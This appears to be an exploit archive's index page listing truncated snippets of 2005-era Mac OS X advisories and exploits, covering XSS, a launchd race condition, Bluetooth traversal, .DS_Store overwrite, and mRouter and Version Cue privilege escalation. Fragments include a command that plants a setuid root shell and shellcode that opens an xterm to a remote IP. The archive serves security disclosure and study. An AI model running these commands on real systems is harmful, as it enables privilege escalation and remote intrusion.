Exploit Labs Security Advisory 2005.10

------------------------------------------------------------ - EXPL-A-2005-010 exploitlabs.com Advisory 039 - ------------------------------------------------------------ - Mac OSX Server weblog - AFFECTED PRODUCTS ================= Mac OSX 10.4.0 Weblog Server http://apple.com OVERVIEW ========...

[Full-disclosure] Apple Mac Tiger 10.4 weblog server

------------------------------------------------------------ - EXPL-A-2005-010 exploitlabs.com Advisory 039 - ------------------------------------------------------------ - Mac OSX Server weblog - AFFECTED PRODUCTS ================= Mac OSX 10.4.0 Weblog Server http://apple.com OVERVIEW ========...

Apple Mac OSX 10.4 Weblog Server - Cross-Site Scripting

source: https://www.securityfocus.com/bid/14569/info Apple Mac OS X Weblog Server is prone to cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code...

Apple Mac OSX 10.4 - launchd Race Condition

/ Mac OS X 10.4 launchd race condition exploit intropy intropy caughq.org / / .sh script to help with the offsets /str0ke !/bin/bash X=1000 Y=3000 I=1 while 1 do ./CAU-launchd /etc/passwd $X if $I -lt 30 then X=$X+$Y I=$I+1 else X=1000 I=1 fi done / include include include include include include...

Apple Mac OSX 10.4 - launchd Race Condition

Apple Mac OSX 10.4 - launchd Race Condition / Mac OS X 10.4 launchd race condition exploit intropy intropy caughq.org / / .sh script to help with the offsets /str0ke !/bin/bash X=1000 Y=3000 I=1 while 1 do ./CAU-launchd /etc/passwd $X if $I -lt 30 then X=$X+$Y I=$I+1 else X=1000 I=1 fi done /...

Apple Mac OSX 10.x - BlueTooth Directory Traversal

source: https://www.securityfocus.com/bid/13491/info Apple Mac OS X is prone to a directory-traversal vulnerability. Since the software fails to sufficiently sanitize input, a remote attacker could use the Bluetooth file- and object-exchange services to access files outside the default...

[Full-disclosure] DMA[2005-0502a] - 'Apple OSX multiple Bluetooth vulnerabilities'

DMA2005-0502a - 'Apple OSX multiple Bluetooth vulnerabilities' Author: Kevin Finisterre Vendor: http://www.apple.com/bluetooth/ Product: 'Mac OSX =10.3.9' References: http://www.digitalmunition.com/DMA2005-0502a.txt Description: Starting with Mac OSX 10.2 Apple decided to include support for...

xfinder-ds.pl

HEADER: OSX Finder DSStore arbitrary file overwrite vulnerability. CONTACT: vade79 - [email protected] fakehalo/realhalo CATEGORY: Local with user intervention. IMPACT: Privilege escalation. REFERENCE: http://fakehalo.us/xfinder-ds.pl BACKGROUND: The Finder is the application that Mac OS X and earli...

Apple Mac OSX - AppleFileServer Remote Denial of Service

Apple Mac OSX - AppleFileServer Remote Denial of Service / fm-afp.c - nemo @ felinemenace.org - 2005 Code for afp bug found by Braden Thomas. Again hello to everyone @ irc.pulltheplug.org need a challenge? - http://pulltheplug.org - / include include include include include define UAMSIZE 1022...

Apple Mac OSX - '.DS_Store' Arbitrary File Overwrite

!/usr/bin/perl OSX Finder DSStore arbitrary file overwrite exploit. root version vade79 - [email protected] fakehalo/realhalo this will create a directory called "xfinder" in your home directory, once the root user has modified that directory using Finder in almost any waysuch as copying a file out ...

Apple Mac OSX - .DS_Store Arbitrary File Overwrite

Apple Mac OSX - .DSStore Arbitrary File Overwrite !/usr/bin/perl OSX Finder DSStore arbitrary file overwrite exploit. root version vade79 - [email protected] fakehalo/realhalo this will create a directory called "xfinder" in your home directory, once the root user has modified that directory using...

DMA-2005-0127a.txt

DMA2005-0127a - 'Apple OSX batch family poor use of setuid' Author: Kevin Finisterre Vendor: http://www.apple.com/macosx/ Product: at commands = Mac OS X v10.3.7, Mac OS X Server v10.3.7 References: CAN-2005-0125 http://www.digitalmunition.com/DMA2005-0127a.txt...

[Full-Disclosure] DMA[2005-0127a] - 'Apple OSX batch family poor use of setuid'

DMA2005-0127a - 'Apple OSX batch family poor use of setuid' Author: Kevin Finisterre Vendor: http://www.apple.com/macosx/ Product: at commands = Mac OS X v10.3.7, Mac OS X Server v10.3.7 References: CAN-2005-0125 http://www.digitalmunition.com/DMA2005-0127a.txt...

Apple Mac OSX 10.3.7 - mRouter Local Privilege Escalation

Apple Mac OSX 10.3.7 - mRouter Local Privilege Escalation / fm-iSink.c overflow in mRouter, suid binary used by iSync, on OSX include include define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/ mRouter" define MAXBUFSIZE 4096 char shellcode = // Shellcode by...

Apple Mac OSX 10.3.7 - 'mRouter' Local Privilege Escalation

/ fm-iSink.c overflow in mRouter, suid binary used by iSync, on OSX include include define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/ mRouter" define MAXBUFSIZE 4096 char shellcode = // Shellcode by b-r00t, modified by nemo...

Darwin Kernel Vulnerability

"moderator: resending this mail since it appears to of got dropped, if not, please ignore this message. ,'| .-''-.....--'; / '. ..-' , ,--...--''' .--''' /' -';' ; ; ; ...--'' ...--..' .;.' fL ,....----''' ,..--'' felinemenace.org Program: Darwin Kernel 7.1 Impact: DoS, Possible local privilege...

Apple Mac OSX 10.3.7 - Input Validation Flaw parse_machfile() Denial of Service

Apple Mac OSX 10.3.7 - Input Validation Flaw parsemachfile Denial of Service / DoS for Darwin Kernel Version int main int ac, char av FILE me; int rpl = 0xffffffff; fpost pos = 0x10; printf "- nacho - 2004 DoS for OSX darwin 7.5.0 -\n" ; printf "- nemo pulltheplug org -\n\n" ; printf "+ Opening...

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation

Proof of concept: haven: fintler$ cd haven: fintler$ id uid=502fintler gid=500fintler groups=500fintler haven: fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" productname.sh haven: fintler$ chmod 0755 ./productname.sh haven: fintler$ ln -s...

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Bash)

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation Bash Proof of concept: haven: fintler$ cd haven: fintler$ id uid=502fintler gid=500fintler groups=500fintler haven: fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" productname.sh haven:...

os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes

Exploit for os-x/ppc platform in category shellcode ============================================== os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes ============================================== / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/usr/X11R6/bin/xterm -display 192.168.0.10:0 exit...